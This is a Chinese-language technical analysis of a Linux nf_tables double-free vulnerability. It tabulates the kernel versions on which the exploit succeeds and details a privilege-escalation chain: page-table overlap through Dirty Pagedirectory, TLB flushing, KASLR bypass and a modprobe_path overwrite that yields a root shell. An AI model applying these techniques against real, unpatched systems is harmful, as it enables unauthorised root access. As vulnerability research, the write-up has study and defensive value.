|--------|----------------|-----------|-------------------|--------------|-------------------|-----------|----------|---------------------------------------------------------------------------------------|-------------|------------------------------------------------------------------------------------------------------------------------------------------|
| Linux  | v5.4.270       | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [CODE] pre-dated nft code (denies rule alloc)                                         | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config               |
| Linux  | v5.10.209      | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] BUG mm/slub.c:4118                                                            | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config              |
| Linux  | v5.14.21       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config               |
| Linux  | v5.15.148      | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config              |
| Linux  | v5.16.20       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config               |
| Linux  | v5.17.15       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config               |
| Linux  | v5.18.19       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config               |
| Linux  | v5.19.17       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config               |
| Linux  | v6.0.19        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config                |
| Linux  | v6.1.55        | KernelCTF | Mitigation v3     | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.72        | KernelCTF | LTS               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config          |
| Linux  | v6.2.?         | Ubuntu    | Jammy v6.2.0-37   | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       |                                                                                                                                          |
| Linux  | v6.2.16        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config                |
| Linux  | v6.3.13        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config                |
| Linux  | v6.4.16        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config                |
| Linux  | v6.5.3         | Ubuntu    | Jammy v6.5.0-15   | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config         |
| Linux  | v6.5.13        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config                |
| Linux  | v6.6.14        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config                |
| Linux  | v6.7.1         | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [CODE] nft verdict value incorrect is altered by kernel                               | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config                 |

1-2. 重要利用技巧

触发UAF:先添加Netfilter rule,rule中包含expression(功能是设置恶意的verdict值,使得nf_tables内核代码解释NF_DROP,然后释放skb,再返回NF_ACCEPT,最后两次释放skb);然后,通过分配 migratetype 为0的16-page IP包(目的是让buddy系统来分配,而非SLAB系统)来触发该rule的执行。

延迟二次释放:利用IP 数据包的 IP 分段逻辑。这样就能让skb在IP 分段队列中“等待”,不会被释放。避免损坏的skb触发路径崩溃,可以伪造IP 源地址 1.1.1.1 和目标地址 255.255.255.255,但这意味着需要处理反向路径转发(RPF),所以需要在网络命名空间中禁用RPF。

任意物理地址读写:采用脏页目录(Dirty Pagedirectory)技术,本质就是通过在同一物理页上分配PTE页(页表条目)和PMD页(页中间目录),构造页表混淆。利用PTE写用户页时,实际会篡改PMD中的PTE条目(物理地址),构造任意物理地址读写。

Double-free原语转化将skb的Double-Free转化为PMD和PTE的内存重叠。这些页表页都是调用alloc_pages()分配的,且migratetype==0 order==0,而skb头(漏洞对象)是调用kmalloc()分配的。通常,slab分配器用于管理的页order<=1,PCP 分配器管理的页order<=3,buddy系统管理的页order>=4。为了避免麻烦,必须构造伙伴系统页(order>=4)的double-free,以构造PTE/PMD 页面的重叠状态。如何kmalloc 上的double-free转化为伙伴系统页(order>=4)的double-free呢?有两种方法:

  • (1)新型页转化技术(PCP list耗尽)—— 特点是更简单、更稳定、更快速,由于PCP分配器就是一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。那么就可以通过将16-page页(order-4)释放到伙伴分配器的freelist,排空PCP list,并用来自伙伴系统freelist的64个页(order==0)来重新填充PCP list(包含上述的16-page页)。
  • (2)传统页转化技术(条件竞争)—— 本方法依赖竞争条件,只能用于QEMU等虚拟化环境,其终端IO会导致 VM 内核出现严重延迟。主要是利用WARN()消息会产生50-300 毫秒的延迟来触发竞争条件,将伙伴系统中的order==4页释放到order==0的PCP freelist。本方法在实际硬件上不起作用(延迟仅1ms左右),只能采用第1种方法。作者在最初的kernelctf 漏洞利用中使用了这种技术。

注意,在二次释放之间,需确保page的引用计数不为0,否则释放失败(内核会检测,防止二次释放)。另外,将skb对象喷射到同一CPU的skbuff_head_cache slab cache中,以避免kernelctf中的freelist损坏检查机制,提高稳定性。

1-3. 其他利用原理

任意物理地址读写原理:利用UAF构造重叠的PTE页和PMD页。PTE页被PMD页覆盖,那么PTE页指向的物理地址实际上是PMD的PTE页地址;那么我们通过PTE来写用户页时(可以伪造PTE值,包含页权限和页物理地址),实际上篡改了PMD的PTE页;最后再通过PMD来写用户页,实际就会往伪造的物理地址写入。

刷新TLB:为了利用这个任意读写原语,需要刷新TLB。作者提出一种新的方法,从用户空间刷新Linux中的TLB——调用 fork() ,在子进程中调用 munmap() 解除PMD的地址映射,刷新父进程的 VMA。为了避免子线程退出程序时崩溃,可以让子线程休眠。

泄露物理基址利用任意物理地址读写来爆破物理KASLR,此过程可以加速,因为物理内核基址和CONFIG_PHYSICAL_START0x100'0000 / 16MiB)或CONFIG_PHYSICAL_ALIGN0x20'0000 / 2MiB)是对齐的。如果内存为8G(16M对齐),只需检查2M的页就能泄露物理基址。作者采用get-sig 脚本生成了精确的内核指纹(可以跨编译器)。

计算modprobe_path地址:通过扫描内核基址后80M内存来搜索"/sbin/modprobe" + "\x00" * ...字符串,以找到modprobe_path。为了验证是否找到真实的 modprobe_path,可先覆写modprobe_path并检查/proc/sys/kernel/modprobe是否被修改(用户层可读)。如果开启了CONFIG_STATIC_USERMODEHELPER防护,可转而修改"/sbin/usermode-helper"

获取shell:为了获取shell并逃逸用户命名空间,可覆写modprobe_path"/sbin/usermode-helper"指向exp中的memfd文件描述符(其中包含提权脚本),例如/proc/<pid>/fd/<fd>fd目录包含了所有该进程使用的文件描述符,也即EXP中创建的提权脚本文件)。这种方法可以使exp在只读文件系统上运行(例如perl引导的系统),本质是将字符串写入用户空间地址并执行文件(memfd_create()创建的伪文件)。如果是在namespace中运行exp,还需要爆破EXP所属的PID。爆破速度很快,因为没有修改PTE的物理地址,所以不需要刷新TLB。

  • 提权脚本:以root身份执行一个/bin/sh进程,并hook exp的文件描述符(/dev/<pid>/fd/<fd>)指向shell的文件描述符,以实现命名空间的逃逸。本方法的优点是通用,可以在本地或反向shell上工作,不依赖文件系统或其他形式的隔离。

2. 背景知识

2-1. nf_tables

介绍nf_tablesiptables防火墙的后端内核模块,iptables本身也是ufw的后端。为了决定哪些数据包可通过防火墙,nftables 使用了用户发出rule的状态机。

(1)Netfilter 层次结构

层次:table (哪种协议) -> chains (触发方式) -> rules (状态机函数) -> expressions (状态机指令)

1-nf_tables-4

详细知识可参考“How The Tables Have Turned: An analysis of two new Linux vulnerabilities in nf_tables.”

(2)Netfilter Verdicts

与本文相关的是Netfilter Verdicts,verdict就是Netfilter rule对包是否通过做出的决定,丢弃或接收。如果丢弃就停止处理该包,如果接收则继续处理数据包,直至通过所有规则。verdict值如下:

  • NF_DROP:丢弃数据包,停止处理。
  • NF_ACCEPT:接受数据包,继续处理。
  • NF_STOLEN:停止处理,钩子需要释放它。
  • NF_QUEUE:让用户态应用程序处理它。
  • NF_REPEAT:再次调用钩子。
  • NF_STOP(已弃用):接受数据包,停止在 Netfilter 中处理它。

2-2. sk_buff (skb)

也即 sk_buff 结构,用于描述网络数据(包括 IP 数据包、以太网帧、WiFi 帧等),简称为 skb。描述数据包的有2个重要对象:

  • sk_buff对象本身,包含skb处理的元数据;
  • sk_buff->head对象,包含实际的包内容,例如IP头和IP数据包主体。

2-sk_buff_struct-4

为了使用IP头中的值(因为IP数据包是在内核中处理的),内核可通过ip_hdr()对IP头结构和sk_buff->head对象进行类型双关。该基址有助于快速解析header,在二进制文件ELF头解析中也用到了该技巧。详细知识可参见“struct sk_buff - The Linux Kernel”

2-3. IP数据包分片

IPv4数据包支持分片传输,片段也是常规的IP包,只不过IP头中不包含完整的数据包大小,并在IP头中的IP_MF flag设置标记。

IP数据包长度为iph->len = sizeof(struct ip_header) * frags_n + total_body_length。Linux内核中,单个IP数据包的所有碎片都存在同一棵红黑树中(称为IP frag队列),直到接收完所有碎片。重组包时需要IP分片的偏移:iph->offset = body_offset >> 3body_offset就是最终IP包中的偏移。注意,片段数据都是8字节对齐的,因为高3位用作flag(即IP_MFIP_DF)。例如,如果用2个大小为8和56字节的片段来传输64字节的数据,这2个片段初始化如下:

iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag          IP_MF=0x2000 表示是分片包
memset(iph1_body, 'A', 8); 
transmit(iph1, iph1_body, 8); 

iph2->len = sizeof(struct ip_header)*2 + 64; 
iph2->offset = ntohs(8 >> 3); // 高3位用作flag;最后一个包不需要设置IP_MF
memset(iph2_body, 'A', 56); 
transmit(iph2, iph2_body, 56);

关于IP分片的详细知识可参见“IP Fragmentation in Detail”

2-4. 页分配

Linux内核主要有3种分配器:

  • buddy分配器——调用alloc_pages(),可分配任何order页(0->10),从跨CPU的全局页池中分配页;
  • per-cpu page (PCP) 分配器——调用alloc_pages(),可分配order为0->3的页;
  • slab分配器——调用kmalloc(),可分配order为0->1的页(甚至更小的内存),从特点的CPU freelist/caches中分配。

PCP分配器存在的原因:当一个CPU从全局页池中分配页面时,伙伴系统会加锁,导致另一个CPU分配页面时阻塞。PCP分配器通过设置较小的CPU页池(由伙伴系统批量分配)来避免锁竞争,减小阻塞几率。

3-page_allocator_bailywick

4-page_allocations-3

更多分配器知识可参见“Reference: Analyzing Linux kernel memory management anomalies”

2-5. 物理内存

(1)物理内存到虚拟内存的映射

物理内存是RAM芯片使用的内存,虚拟内存是CPU上运行的程序与物理内存交互的方式。虚拟地址范围可以大于物理地址范围(因为空的虚拟页不需要映射),1个物理页可以映射到多个虚拟页。这意味着,在只有4G物理内存的系统上,每个进程可以使用128T的虚拟内存。理论上,可以将一个物理页(4096个 \x41字节)映射到所有128T的用户虚拟页上。当一个程序往虚拟页写入1个\x42字节时,会执行写时拷贝(COW)、创建第2个物理页,并将该页映射到对应的虚拟页

5-phys_virt_mem-1

虚拟地址转换到物理地址:CPU使用页表。例如,用户程序读取虚拟地址0xDEADBEEF,指令是mov rax, [0xDEADBEEF],需要将虚拟地址0xDEADBEEF转换到RAM上的物理地址。CPU首先在Translation Lookaside Buffer (TLB,存在于MMU中) 中查找,TLB上存储着最近的虚拟地址到物理地址的转换。如果虚拟地址0xDEADBEEF最近被访问过,则直接从TLB上获取物理地址,不需要访问页表。否则需要遍历页表来查找物理地址。

更多物理内存的资料可参见memory layout page from a Harvards Operating Systems course

(2)页表

页表就是一个嵌套数组,物理地址位于底部数组中。下图使用9位的页表索引(因为2^9^=512,512*8=4096 该页表值适合单个页),这里以4级页表为例(内核还支持5级、3级页表)。 虚拟地址可以被分为5部分,9 9 9 9 12, 第一个9是pgd表的索引.可以得到pgd项; 第二个9是pud表的索引,可以得到pud项;第三个9是pmd表的索引,可以得到pmd项;第四个9是pte表的索引,可以得到pte项;第五个12是页内偏移。

6-pagetables_with_bits-1

嵌套数组的优点:节省内存。不需要为128T虚拟地址分配一个巨大的数组,而是将其划分为几个较小的数组,每一层都有一个较小的bailiwick。这意味着,负责未分配区域的表不需要分配内存。

遍历表的速度非常快,因为直接是数组访问,效率为O(1)。但速度还是赶不上TLB。页表的PGD的基地址存储在 CR3 寄存器中,只有特权进程能访问,当内核调度器使CPU切换到另一个进程的上下文时,内核会将 CR3 设置为virt_to_phys(current->mm->pgd)

CPU查找页表的过程可参见Wikipedia page on control registers

2-6. TLB 刷新

当内核空间中虚拟地址的页表变化时,TLB也需要更新。修改页表时会触发内核中的刷新函数,清空TLB(可能仅清空特定地址范围)。下一次访问虚拟地址时,会将地址转换保存到TLB中。

但有时exp会以意想不到的方式修改页表,例如利用UAF覆写PTE,这时不会触发TLB刷新函数,因为是利用漏洞来篡改的页表。因此,我们需要从用户空间间接刷新TLB,否则TLB将包含过时的缓存条目。本文介绍了新的TLB刷新方法。

TLB详细知识可参见“Translation lookaside buffer - Wikipedia”

2-7. 脏页表

脏页表(Dirty Pagetable)是“Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel” 中提到的一种新技术,也即通过覆写PTE来进行KSMA攻击。这篇文章提到了两种覆写PTE的场景:Double-Free和UAF写。

7-dirtypagetable-3

本文还引入了一些新的点,例如页表如何工作、TLB刷新、POC代码、物理KASLR的工作原理和PTE的格式,此外还介绍了这种技术的变体,脏页目录(Dirty Pagedirectory)。

2-8. 覆写 modprobe_path

原理:在编译时可通过CONFIG_MODPROBE_PATH设置modprobe_path变量的值(默认为"/sbin/modprobe"),后面填充NULL补齐到KMOD_PATH_LEN字节。当用户尝试执行头部具有未知magic字节的二进制文件时,会用到该变量。例如,执行头部为FE45 4C46".ELF")的二进制文件时,内核将查找与该magic字节匹配的已注册的binary handler,如果是ELF就会选择ELF binfmt handler;如果已注册的binfmt无法识别,就会调用modprobe_path,它将查找名为binfmt-%04x的内核模块,其中%04x是文件中前 2 个字节的十六进制表示形式。

8-modprobe_path-4

利用方法:可将modprobe_path覆写为/tmp/privesc_script.sh,然后执行错误格式的文件(例如ffff ffff),内核就会以root身份运行/tmp/privesc_script.sh -q -- binfmt-ffff,提权。

防护机制及绕过方法:但是内核引入了CONFIG_STATIC_USERMODEHELPER_PATH防护机制,这样就无法覆写modprobe_path了。其原理是将每个执行的二进制文件路径设置为类似busybox 的二进制文件,其行为根据传递的argv[0]文件名而有所不同。如果覆写modprobe_path,则只有argv[0]文件名不同,类似 busybox 的二进制文件无法识别该值,因此不会执行。绕过方法是覆写内核内存中只读的"/sbin/usermode-helper"字符串。

2-9. KernelCTF

KernelCTF 是 Google 运行的一个程序,旨在公开(强化的)Linux 内核的新利用技术。有三个版本:LTS(使用现有缓解措施强化的长期稳定内核)、缓解措施(在现有缓解措施之上使用实验性缓解措施强化的内核)和 COS(容器优化的操作系统)。为了破解KernelCTF,需要读取root命名空间中的/flag,所以既要逃逸命名空间沙箱(nsjail),又要提权。

更多信息可参见[“KernelCTF rules security-research”](https://google.github.io/security-research/kernelctf/rules.html)。

3. 漏洞分析

3-1. 寻找漏洞

作者在阅读nf_tables代码时,注意到nf_hook_slow()函数,该函数循环遍历chain中的rule,并在NF_DROP发出时立即停止评估(返回)。在处理NF_DROP时,它会释放数据包,并调用NF_DROP_GETERR()来设置返回值。如果将ret返回值设置为NF_ACCEPT,就会触发Double-Free

// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
		 const struct nf_hook_entries *e, unsigned int s)
{
	unsigned int verdict;
	int ret;

	// 遍历chain中的rule
	for (; s < e->num_hook_entries; s++) {
		// 获得rule的verdict值
		verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);

		switch (verdict & NF_VERDICT_MASK) { 		// NF_VERDICT_MASK=0x000000ff   verdict设置为0xffff0000
		case NF_ACCEPT:
			break;  // 开始下一条 rule
		case NF_DROP:
			kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP); 	// 释放skb

			// 检查 verdict 是否含有 drop err
			ret = NF_DROP_GETERR(verdict); 		// 调用 NF_DROP_GETERR() 设置返回值 !!!!!!!!!!!!!
			if (ret == 0)
				ret = -EPERM;

			// 立刻返回,不再评估其他rule
			return ret;

		// [snip] alternative verdict cases
		default:
			WARN_ON_ONCE(1);
			return 0;
		}
	}

	return 1;
}

static inline int NF_DROP_GETERR(int verdict)
{
	return -(verdict >> NF_VERDICT_QBITS); 			// NF_VERDICT_QBITS = 16         -(0xffff0000 >> 16)=FFFF 0001
}

3-2. 漏洞分析

漏洞本质:当为netfilter hook创建verdict对象时,内核允许正的drop错误值。攻击者可以构造如下情况,当从hook/rule返回NF_DROP时,nf_hook_slow()会释放skb对象,并将返回值修改为NF_ACCEPT(就像chain中每个hook/rule都返回NF_ACCEPT一样),进而导致nf_hook_slow()的调用者误解,继续处理数据包最终导致Double-Free

nft_verdict_init() 创建verdict对象:在此处伪造verdict值。

// userland API (netlink-based) handler —— 可以初始化 verdict 
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
			    struct nft_data_desc *desc, const struct nlattr *nla)
{
	u8 genmask = nft_genmask_next(ctx->net);
	struct nlattr *tb[NFTA_VERDICT_MAX + 1];
	struct nft_chain *chain;
	int err;

	// [snip] initialize memory

	// 攻击者可将该值设置为: data->verdict.code = 0xffff0000
	switch (data->verdict.code) {
	default:
		// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
		switch (data->verdict.code & NF_VERDICT_MASK) { 	// #define NF_VERDICT_MASK 0x000000ff !!!!!!!!!!!!!! 漏洞根源——允许用户设置很大的非法的verdict值
		case NF_ACCEPT:
		case NF_DROP:
		case NF_QUEUE:
			break;  // happy-flow    从这里跳出,verdict值被设置为恶意值
		default:
			return -EINVAL;
		}
		fallthrough;
	case NFT_CONTINUE:
	case NFT_BREAK:
	case NFT_RETURN:
		break;  // happy-flow
	case NFT_JUMP:
	case NFT_GOTO:
		// [snip] handle cases
		break;
	}

	// 成功将 verdict 值设置为 0xffff0000
	desc->len = sizeof(data->verdict);

	return 0;
}

nf_hook_slow() :遍历rule,修改返回值,触发漏洞。

// 当skb触发chain时,遍历现有的rule
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
         const struct nf_hook_entries *e, unsigned int s)
{
    unsigned int verdict;
    int ret;

    for (; s < e->num_hook_entries; s++) {
        // 已构造恶意的rule来设置verdict值: verdict = 0xffff0000
        verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);  

        // 0xffff0000 & NF_VERDICT_MASK == 0x0 (NF_DROP)
        switch (verdict & NF_VERDICT_MASK) {  
        case NF_ACCEPT:
            break;
        case NF_DROP:
            // double-free的第一次释放
            kfree_skb_reason(skb,
                     SKB_DROP_REASON_NETFILTER_DROP);  
            
            // NF_DROP_GETERR(0xffff0000) == 1 (NF_ACCEPT)      返回值被改为了1
            ret = NF_DROP_GETERR(verdict);  
            if (ret == 0)
                ret = -EPERM;
            
            // 返回 NF_ACCEPT, 继续处理数据包
            return ret;  

        // [snip] alternative verdict cases
        default:
            WARN_ON_ONCE(1);
            return 0;
        }
    }

    return 1;
}

NF_HOOK():如果状态为NF_ACCEPT,则调用回调函数。

static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk, 
	struct sk_buff *skb, struct net_device *in, struct net_device *out, 
	int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
	// 调用 nf_hook_slow()
	int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);

	// if skb passes rules, handle skb, and double-free it
	if (ret == NF_ACCEPT)
		ret = okfn(net, sk, skb); 	// <--- 继续处理数据包最终导致Double-Free

	return ret;
}

3-3. 漏洞影响与利用

影响:会导致两个对象的Double-Free,一是skbuff_head_cache cache中的 sk_buff 对象,二是大小变化的sk_buff->head对象,范围是kmalloc-2564-order 页(65536字节)之间。

分配漏洞对象sk_buff->head对象是通过调用kmalloc_reserve() -> __alloc_skb() 分配的,其大小直接受网络数据包大小的影响,因为该对象包含数据包内容。因此,如果发送40k的数据包,内核就会从伙伴系统分配4-order页。

复现该漏洞时会导致内核崩溃,因为释放skb时,skb中某些字段会被破坏,需要避免使用这些字段,才能获得稳定的Double-Free。

4. 利用技巧

4-1. 伪造页refcount

页释放检查:两次释放页时,内核会检查页的refcount值:

void __free_pages(struct page *page, unsigned int order)
{
	/* get PageHead before we drop reference */
	int head = PageHead(page);

	if (put_page_testzero(page)) 	// [1] 通常在第一次释放page时,其refcount为1;如果第二次释放该page时refcount递减后小于0,则不会释放该页(put_page_testzero()返回false),甚至在配置了CONFIG_DEBUG_VM的内核中会触发`BUG()`
		free_the_page(page, order);
	else if (!head)
		while (order-- > 0) 		// [2] 子页将被释放,直到`order-- == 0`
			free_the_page(page + (1 << order), order);
}

[2] 处,由于第1个页释放后,order被置为0,因此在第2次释放时不会释放任何页,因为order-- == -1

解决办法:在第一次释放page后,再次分配一个page(相同大小的对象即可,例如slab或者页表),这样就能二次释放该页。代码如下:

static void kref_juggling(void)
{
    struct page *skb1, *pmd, *pud;

    skb1 = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
    __free_page(skb1);  // refcount 1 -> 0
    pmd = alloc_page(GFP_KERNEL);  // refcount 0 -> 1
    __free_page(skb1);  // refcount 1 -> 0
    pud = alloc_page(GFP_KERNEL);  // refcount 0 -> 1

    pr_err("[*] skb1: %px (phys: %016llx), pmd: %px (phys: %016llx), pud: %px (phys: %016llx)\n", skb1, page_to_phys(skb1), pmd, page_to_phys(pmd), pud, page_to_phys(pud));
}

4-2. 页freelist条目order-4 到order-0

skb分配路径:当调用__do_kmalloc_node()(例如skb的分配)分配内存时,会把分配大小和KMALLOC_MAX_CACHE_SIZE进行比较,若大于该值则采用页分配器而非SLAB分配器。如果想释放skb并分配PTE占据同一内存,这非常有用。但是KMALLOC_MAX_CACHE_SIZE = PAGE_SIZE * 2,这意味着分配order-1以上(2-page,8096)的内存时,kmalloc才会采用页分配器。skb大小可变,范围是kmalloc-2564-order 页(65536字节)之间

PTE分配路径:PTE是调用alloc_page()页分配器(而非kmalloc(4096))来分配的,可节省开销,1个PTE是order-0页(1 page,4096字节)。

问题:如果对位于SLAB分配器中的4096对象进行二次释放,其只会出现在SLAB cache中,而非page cache中。为了使skb漏洞对象和PTE重叠,需分配order-4的skb对象,然后将order-4的页切分为order-0的页。为了对 order-0 freelist中的页进行二次释放,需要将order-4(16 page)freelist条目的二次释放转换为order-0(1 page)条目。有两种方法来用order-4 page freelist条目去分配order-0 page。

(1)PCP list耗尽

由于PCP分配器就是伙伴系统的一个 per-CPU freelist,如果耗尽了就会用来自伙伴系统的页重新填充。页分配过程参见2-4

将页order置为0的内存操作时间线:

9-pcp_refill-3

rmqueue_bulk()函数负责从伙伴系统的order页中获得count个页(count = N/order)来填充 PCP freelist。过程是遍历伙伴系统的freelist,如果freelist条目的order >= order,则返回该页进行填充;如果 > order,则先要切分页。

目标order-4的skb漏洞页释放后,加入到伙伴系统的freelist,需要将其转化为order-0的PCP页,分配给PTE对象

方法:通过堆喷PTE页来耗尽PCP freelist,也可以堆喷PMD对象。不同的系统上,PCP freelist中对象数目不同,作者选择堆喷16000个PTE对象,足以耗尽PCP freelist。

// rmqueue_bulk() —— 用于重新填充 PCP freelist
static int rmqueue_bulk(struct zone *zone, unsigned int order,
			unsigned long count, struct list_head *list,
			int migratetype, unsigned int alloc_flags)
{
	unsigned long flags;
	int i;

	spin_lock_irqsave(&zone->lock, flags);
	for (i = 0; i < count; ++i) {
		struct page *page = __rmqueue(zone, order, migratetype, alloc_flags);
		if (unlikely(page == NULL))
			break;

		list_add_tail(&page->pcp_list, list);
		// [snip] set stats
	}

    // [snip] set stats
	spin_unlock_irqrestore(&zone->lock, flags);

	return i;
}

(2)竞争条件(已过时)

» 该技术已过时,但已用于 kernelctf 利用 «

方法:第1次free()会将页添加到正确的freelist中,并将页order置为0。但是第2次释放时(Double-Free),会将该页添加到order-0的freelist中。利用这种方法,我们可以将order-4的页也添加到order-0的freelist中。

将页order置为0的内存操作时间线:

10-converting_page_order-1

竞争条件:如果顺序是free; free; alloc; alloc,则第2次释放会失败,因为第1次释放后页的refcount变为0。如果顺序是free; alloc; free; alloc,则第2次释放时order不为0,因为alloc会将order设置为最初的值4,那就无法将释放页转换为order-0。也即要么refcount为-1,要么order为4,产生竞争条件。

竞争窗口:当页面释放时,其order是通过值传递的。这意味着,如果在第2次释放时分配该空闲页,将分配得到order-0的freelist,并且refcount也会增加(不为0)。该竞争窗口极小,包含几个函数调用。如果检测到double-free且order为0,free_large_kmalloc()会向dmesg打印WARN()。在硬件环境中竞争窗口只有1ms,在QEMU VM这种串行终端中会达到50ms-300ms,可以命中。

现在我们成功将order-4的页释放到order-0的freelist中了,这样就能用order-0的页来覆写该页了。我们也能释放第1次分配到的页(得到第1次释放的页)再分配新的对象来占据,因为页的order不会变。

4-3. 立即释放 skb(不用UDP/TCP栈)

目的:为了避免freelist损坏检查导致崩溃,我们希望能任意释放skb(不使用UDP/TCP栈)。在第1次释放后,skb会被损坏,这意味着我们无法再使用UDP/TCP栈,因为该操作会引用损坏的结构成员。

kernelCTF方法(已过时):可释放特定CPU上的某个skb来绕过Double-Free,因为sk_buff freelist是per-CPU的。这意味着,如果我们在2个CPU上两次释放一个对象,不会检测到Double-Free。

IP 数据包分段和分段队列:在IP数据包等待接收其所有分片时,会把分片放在IP分片队列(红黑树)中;当收到所有分片后,会在最后一个到来的分片所在的CPU上重组数据包。注意,IP分片队列存在一个超时ipfrag_time,超时后会释放所有skb。后面会介绍如何修改此超时。

新方法:如果想将freelist条目 skb1 从CPU 0 切换到CPU 1的freelist上,首先将skb1作为IP分片分配到CPU 0的IP分片队列上,然后将最后一个IP分片skb2发送到CPU 1上,这样 skb1 就会在CPU 1上被释放。本方法可以用于任意释放skb(不使用UDP/TCP栈),避免崩溃。切换skb的per-CPU freelist的时间线如下图:

11-switching_skb_cpu-1

问题:IP 片段队列的大小由skb->len确定,但是对象被释放后set_freepointer() 会将skb->len覆写成kmem_cache->random,导致分片队列的处理和预期不一致,无法正常完成分片处理,因为它会使用随机的length。

解决:不完成IP分片队列,使用无效输入来触发error。这会导致CPU的IP分片队列上所有skb立刻被释放,而不管skb->len值是多少。注意,需要在释放skb1和分配skb2之间附加额外的skb对象,否则会触发Double-Free检测(CONFIG_FREELIST_HARDENED)。图中没有显示这一步,但是PoC中有。

如何修改skb生命周期——ipfrag_time超时?

